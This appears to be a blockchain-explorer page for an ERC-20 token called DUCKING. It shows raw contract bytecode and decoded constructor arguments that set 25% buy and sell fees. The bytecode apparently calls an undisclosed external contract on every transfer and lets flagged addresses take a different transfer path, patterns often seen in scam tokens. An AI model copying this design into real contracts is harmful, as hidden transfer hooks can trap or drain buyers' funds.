ffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121d90612116565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d90612136565b60405180910390fd5b600081116112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090612196565b60405180910390fd5b600060019050600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561133a57600090506114b5565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561139557600090506114b4565b61139d6114dd565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156114245750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561143257600090506114b3565b61143a6114dd565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114a857506114786114dd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114b257600090505b5b5b5b80156114cb576114c6848484611694565b6114d7565b6114d6848484611aa2565b5b50505050565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561158657600080fd5b505afa15801561159a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115be9190611d23565b6040518363ffffffff1660e01b81526004016115db92919061200b565b60206040518083038186803b1580156115f357600080fd5b505afa158015611607573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162b9190611d23565b905090565b6000838311158290611678576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166f9190612094565b60405180910390fd5b50600083856116879190612312565b9050809150509392505050565b61171d816040518060400160405280601f81526020017f7472616e7366657220616d6f756e7420657863656564732062616c616e636500815250600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116309092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061176a6114dd565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156117d757506117a76114dd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117e6576008549050611867565b6117ee6114dd565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561185b575061182c6114dd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156118665760095490505b5b60006064828461187791906122b8565b6118819190612287565b90506118d581600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8590919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161197591906121b6565b60405180910390a36119e16119938285611c6d90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611a868487611c6d90919063ffffffff16565b604051611a9391906121b6565b60405180910390a35050505050565b611b2b816040518060400160405280601f81526020017f7472616e7366657220616d6f756e7420657863656564732062616c616e636500815250600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116309092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bc081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8590919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c6091906121b6565b60405180910390a3505050565b6000611caf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611630565b905092915050565b600081359050611cc681612637565b92915050565b600081519050611cdb81612637565b92915050565b600081359050611cf08161264e565b92915050565b600060208284031215611d0c57611d0b61248d565b5b6000611d1a84828501611cb7565b91505092915050565b600060208284031215611d3957611d3861248d565b5b6000611d4784828501611ccc565b91505092915050565b60008060408385031215611d6757611d6661248d565b5b6000611d7585828601611cb7565b9250506020611d8685828601611cb7565b9150509250929050565b600080600060608486031215611da957611da861248d565b5b6000611db786828701611cb7565b9350506020611dc886828701611cb7565b9250506040611dd986828701611ce1565b9150509250925092565b60008060408385031215611dfa57611df961248d565b5b6000611e0885828601611cb7565b9250506020611e1985828601611ce1565b9150509250929050565b60008060408385031215611e3a57611e3961248d565b5b6000611e4885828601611ce1565b9250506020611e5985828601611ce1565b9150509250929050565b611e6c81612346565b82525050565b611e7b81612358565b82525050565b6000611e8c82612215565b611e968185612220565b9350611ea681856020860161239b565b611eaf81612492565b840191505092915050565b6000611ec7601b83612220565b9150611ed2826124a3565b602082019050919050565b6000611eea601d83612220565b9150611ef5826124cc565b602082019050919050565b6000611f0d602683612220565b9150611f18826124f5565b604082019050919050565b6000611f30601e83612220565b9150611f3b82612544565b602082019050919050565b6000611f53601c83612220565b9150611f5e8261256d565b602082019050919050565b6000611f76601b83612220565b9150611f8182612596565b602082019050919050565b6000611f99602083612220565b9150611fa4826125bf565b602082019050919050565b6000611fbc602983612220565b9150611fc7826125e8565b604082019050919050565b611fdb81612384565b82525050565b611fea8161238e565b82525050565b60006020820190506120056000830184611e63565b92915050565b60006040820190506120206000830185611e63565b61202d6020830184611e63565b9392505050565b60006080820190506120496000830187611e63565b6120566020830186611e63565b6120636040830185611e63565b6120706060830184611e63565b95945050505050565b600060208201905061208e6000830184611e72565b92915050565b600060208201905081810360008301526120ae8184611e81565b905092915050565b600060208201905081810360008301526120cf81611eba565b9050919050565b600060208201905081810360008301526120ef81611edd565b9050919050565b6000602082019050818103600083015261210f81611f00565b9050919050565b6000602082019050818103600083015261212f81611f23565b9050919050565b6000602082019050818103600083015261214f81611f46565b9050919050565b6000602082019050818103600083015261216f81611f69565b9050919050565b6000602082019050818103600083015261218f81611f8c565b9050919050565b600060208201905081810360008301526121af81611faf565b9050919050565b60006020820190506121cb6000830184611fd2565b92915050565b60006040820190506121e66000830185611fd2565b6121f36020830184611fd2565b9392505050565b600060208201905061220f6000830184611fe1565b92915050565b600081519050919050565b600082825260208201905092915050565b600061223c82612384565b915061224783612384565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561227c5761227b612400565b5b828201905092915050565b600061229282612384565b915061229d83612384565b9250826122ad576122ac61242f565b5b828204905092915050565b60006122c382612384565b91506122ce83612384565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561230757612306612400565b5b828202905092915050565b600061231d82612384565b915061232883612384565b92508282101561233b5761233a612400565b5b828203905092915050565b600061235182612364565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156123b957808201518184015260208101905061239e565b838111156123c8576000848401525b50505050565b600060028204905060018216806123e657607f821691505b602082108114156123fa576123f961245e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f617070726f766520746f20746865207a65726f20616464726573730000000000600082015250565b7f617070726f76652066726f6d20746865207a65726f2061646472657373000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f7472616e736665722066726f6d20746865207a65726f20616464726573730000600082015250565b7f7472616e7366657220746f20746865207a65726f206164647265737300000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b61264081612346565b811461264b57600080fd5b50565b61265781612384565b811461266257600080fd5b5056fe7472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220622c598595de432b8fc949ae222701fed3b959bd0a637b220edc97b42f02ede964736f6c6343000807003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000019000000000000000000000000000000000000000000000000000000000000001900000000000000000000000080952ef1323eb737d6302af60e7b0bb2dae8550000000000000000000000000000000000000000000000000000000000000000074455434b494e470000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074455434b494e4700000000000000000000000000000000000000000000000000
Deployed Bytecode
0x60806040526004361061010d5760003560e01c806370a0823111610095578063a457c2d711610064578063a457c2d714610367578063a9059cbb146103a4578063cba0e996146103e1578063dd62ed3e1461041e578063f2fde38b1461045b57610114565b806370a08231146102bd578063715018a6146102fa5780638da5cb5b1461031157806395d89b411461033c57610114565b806323b872dd116100dc57806323b872dd146101d8578063313ce5671461021557806339509351146102405780636b130f9a1461027d5780636db794371461029457610114565b806306fdde0314610119578063095ea7b31461014457806313114a9d1461018157806318160ddd146101ad57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610484565b60405161013b9190612094565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611de3565b610516565b6040516101789190612079565b60405180910390f35b34801561018d57600080fd5b50610196610534565b6040516101a49291906121d1565b60405180910390f35b3480156101b957600080fd5b506101c2610545565b6040516101cf91906121b6565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190611d90565b61054f565b60405161020c9190612079565b60405180910390f35b34801561022157600080fd5b5061022a6106c2565b60405161023791906121fa565b60405180910390f35b34801561024c57600080fd5b5061026760048036038101906102629190611de3565b6106cc565b6040516102749190612079565b60405180910390f35b34801561028957600080fd5b5061029261077f565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190611e23565b610826565b005b3480156102c957600080fd5b506102e460048036038101906102df9190611cf6565b6108e6565b6040516102f191906121b6565b60405180910390f35b34801561030657600080fd5b5061030f61092f565b005b34801561031d57600080fd5b50610326610a82565b6040516103339190611ff0565b60405180910390f35b34801561034857600080fd5b50610351610aab565b60405161035e9190612094565b60405180910390f35b34801561037357600080fd5b5061038e60048036038101906103899190611de3565b610b3d565b60405161039b9190612079565b60405180910390f35b3480156103b057600080fd5b506103cb60048036038101906103c69190611de3565b610c27565b6040516103d89190612079565b60405180910390f35b3480156103ed57600080fd5b5061040860048036038101906104039190611cf6565b610ce6565b6040516104159190612079565b60405180910390f35b34801561042a57600080fd5b5061044560048036038101906104409190611d50565b610d3c565b60405161045291906121b6565b60405180910390f35b34801561046757600080fd5b50610482600480360381019061047d9190611cf6565b610dc3565b005b606060048054610493906123ce565b80601f01602080910402602001604051908101604052809291908181526020018280546104bf906123ce565b801561050c5780601f106104e15761010080835404028352916020019161050c565b820191906000526020600020905b8154815290600101906020018083116104ef57829003601f168201915b5050505050905090565b600061052a610523610fe3565b8484610feb565b6001905092915050565b600080600854600954915091509091565b6000600754905090565b600061055c8484846111b6565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634bcb7cd8306105a36114dd565b87876040518563ffffffff1660e01b81526004016105c49493929190612034565b600060405180830381600087803b1580156105de57600080fd5b505af11580156105f2573d6000803e3d6000fd5b505050506106b784610602610fe3565b6106b28560405180606001604052806021815260200161266660219139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610668610fe3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116309092919063ffffffff16565b610feb565b600190509392505050565b6000600654905090565b60006107756106d9610fe3565b8461077085600260006106ea610fe3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8590919063ffffffff16565b610feb565b6001905092915050565b610787610fe3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610814576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080b90612176565b60405180910390fd5b60006008819055506000600981905550565b61082e610fe3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b290612176565b60405180910390fd5b6023821080156108cb5750602381105b6108d457600080fd5b81600881905550806009819055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610937610fe3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bb90612176565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610aba906123ce565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae6906123ce565b8015610b335780601f10610b0857610100808354040283529160200191610b33565b820191906000526020600020905b815481529060010190602001808311610b1657829003601f168201915b5050505050905090565b6000610c1d610b4a610fe3565b84610c18856040518060400160405280601e81526020017f64656372656173656420616c6c6f77616e63652062656c6f77207a65726f000081525060026000610b91610fe3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116309092919063ffffffff16565b610feb565b6001905092915050565b6000610c3b610c34610fe3565b84846111b6565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634bcb7cd830610c826114dd565b610c8a610fe3565b876040518563ffffffff1660e01b8152600401610caa9493929190612034565b600060405180830381600087803b158015610cc457600080fd5b505af1158015610cd8573d6000803e3d6000fd5b505050506001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dcb610fe3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f90612176565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf906120f6565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284610f949190612231565b905083811015610fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd090612156565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611052906120d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c2906120b6565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111a991906121b6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121d90612116565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d90612136565b60405180910390fd5b600081116112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090612196565b60405180910390fd5b600060019050600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561133a57600090506114b5565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561139557600090506114b4565b61139d6114dd565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156114245750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561143257600090506114b3565b61143a6114dd565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114a857506114786114dd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114b257600090505b5b5b5b80156114cb576114c6848484611694565b6114d7565b6114d6848484611aa2565b5b50505050565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561158657600080fd5b505afa15801561159a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115be9190611d23565b6040518363ffffffff1660e01b81526004016115db92919061200b565b60206040518083038186803b1580156115f357600080fd5b505afa158015611607573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162b9190611d23565b905090565b6000838311158290611678576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166f9190612094565b60405180910390fd5b50600083856116879190612312565b9050809150509392505050565b61171d816040518060400160405280601f81526020017f7472616e7366657220616d6f756e7420657863656564732062616c616e636500815250600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116309092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061176a6114dd565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156117d757506117a76114dd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117e6576008549050611867565b6117ee6114dd565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561185b575061182c6114dd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156118665760095490505b5b60006064828461187791906122b8565b6118819190612287565b90506118d581600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8590919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161197591906121b6565b60405180910390a36119e16119938285611c6d90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611a868487611c6d90919063ffffffff16565b604051611a9391906121b6565b60405180910390a35050505050565b611b2b816040518060400160405280601f81526020017f7472616e7366657220616d6f756e7420657863656564732062616c616e636500815250600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116309092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bc081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8590919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c6091906121b6565b60405180910390a3505050565b6000611caf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611630565b905092915050565b600081359050611cc681612637565b92915050565b600081519050611cdb81612637565b92915050565b600081359050611cf08161264e565b92915050565b600060208284031215611d0c57611d0b61248d565b5b6000611d1a84828501611cb7565b91505092915050565b600060208284031215611d3957611d3861248d565b5b6000611d4784828501611ccc565b91505092915050565b60008060408385031215611d6757611d6661248d565b5b6000611d7585828601611cb7565b9250506020611d8685828601611cb7565b9150509250929050565b600080600060608486031215611da957611da861248d565b5b6000611db786828701611cb7565b9350506020611dc886828701611cb7565b9250506040611dd986828701611ce1565b9150509250925092565b60008060408385031215611dfa57611df961248d565b5b6000611e0885828601611cb7565b9250506020611e1985828601611ce1565b9150509250929050565b60008060408385031215611e3a57611e3961248d565b5b6000611e4885828601611ce1565b9250506020611e5985828601611ce1565b9150509250929050565b611e6c81612346565b82525050565b611e7b81612358565b82525050565b6000611e8c82612215565b611e968185612220565b9350611ea681856020860161239b565b611eaf81612492565b840191505092915050565b6000611ec7601b83612220565b9150611ed2826124a3565b602082019050919050565b6000611eea601d83612220565b9150611ef5826124cc565b602082019050919050565b6000611f0d602683612220565b9150611f18826124f5565b604082019050919050565b6000611f30601e83612220565b9150611f3b82612544565b602082019050919050565b6000611f53601c83612220565b9150611f5e8261256d565b602082019050919050565b6000611f76601b83612220565b9150611f8182612596565b602082019050919050565b6000611f99602083612220565b9150611fa4826125bf565b602082019050919050565b6000611fbc602983612220565b9150611fc7826125e8565b604082019050919050565b611fdb81612384565b82525050565b611fea8161238e565b82525050565b60006020820190506120056000830184611e63565b92915050565b60006040820190506120206000830185611e63565b61202d6020830184611e63565b9392505050565b60006080820190506120496000830187611e63565b6120566020830186611e63565b6120636040830185611e63565b6120706060830184611e63565b95945050505050565b600060208201905061208e6000830184611e72565b92915050565b600060208201905081810360008301526120ae8184611e81565b905092915050565b600060208201905081810360008301526120cf81611eba565b9050919050565b600060208201905081810360008301526120ef81611edd565b9050919050565b6000602082019050818103600083015261210f81611f00565b9050919050565b6000602082019050818103600083015261212f81611f23565b9050919050565b6000602082019050818103600083015261214f81611f46565b9050919050565b6000602082019050818103600083015261216f81611f69565b9050919050565b6000602082019050818103600083015261218f81611f8c565b9050919050565b600060208201905081810360008301526121af81611faf565b9050919050565b60006020820190506121cb6000830184611fd2565b92915050565b60006040820190506121e66000830185611fd2565b6121f36020830184611fd2565b9392505050565b600060208201905061220f6000830184611fe1565b92915050565b600081519050919050565b600082825260208201905092915050565b600061223c82612384565b915061224783612384565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561227c5761227b612400565b5b828201905092915050565b600061229282612384565b915061229d83612384565b9250826122ad576122ac61242f565b5b828204905092915050565b60006122c382612384565b91506122ce83612384565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561230757612306612400565b5b828202905092915050565b600061231d82612384565b915061232883612384565b92508282101561233b5761233a612400565b5b828203905092915050565b600061235182612364565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156123b957808201518184015260208101905061239e565b838111156123c8576000848401525b50505050565b600060028204905060018216806123e657607f821691505b602082108114156123fa576123f961245e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f617070726f766520746f20746865207a65726f20616464726573730000000000600082015250565b7f617070726f76652066726f6d20746865207a65726f2061646472657373000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f7472616e736665722066726f6d20746865207a65726f20616464726573730000600082015250565b7f7472616e7366657220746f20746865207a65726f206164647265737300000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b61264081612346565b811461264b57600080fd5b50565b61265781612384565b811461266257600080fd5b5056fe7472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220622c598595de432b8fc949ae222701fed3b959bd0a637b220edc97b42f02ede964736f6c63430008070033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000019000000000000000000000000000000000000000000000000000000000000001900000000000000000000000080952ef1323eb737d6302af60e7b0bb2dae8550000000000000000000000000000000000000000000000000000000000000000074455434b494e470000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074455434b494e4700000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _name (string): DUCKING
Arg [1] : _symbol (string): DUCKING
Arg [2] : _buy_fee (uint256): 25
Arg [3] : _sell_fee (uint256): 25
Arg [4] : _swap_v2_address (address): 0x80952EF1323Eb737d6302aF60e7b0bB2dAe85500
-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000019
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000019
Arg [4] : 00000000000000000000000080952ef1323eb737d6302af60e7b0bb2dae85500
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [6] : 4455434b494e4700000000000000000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [8] : 4455434b494e4700000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.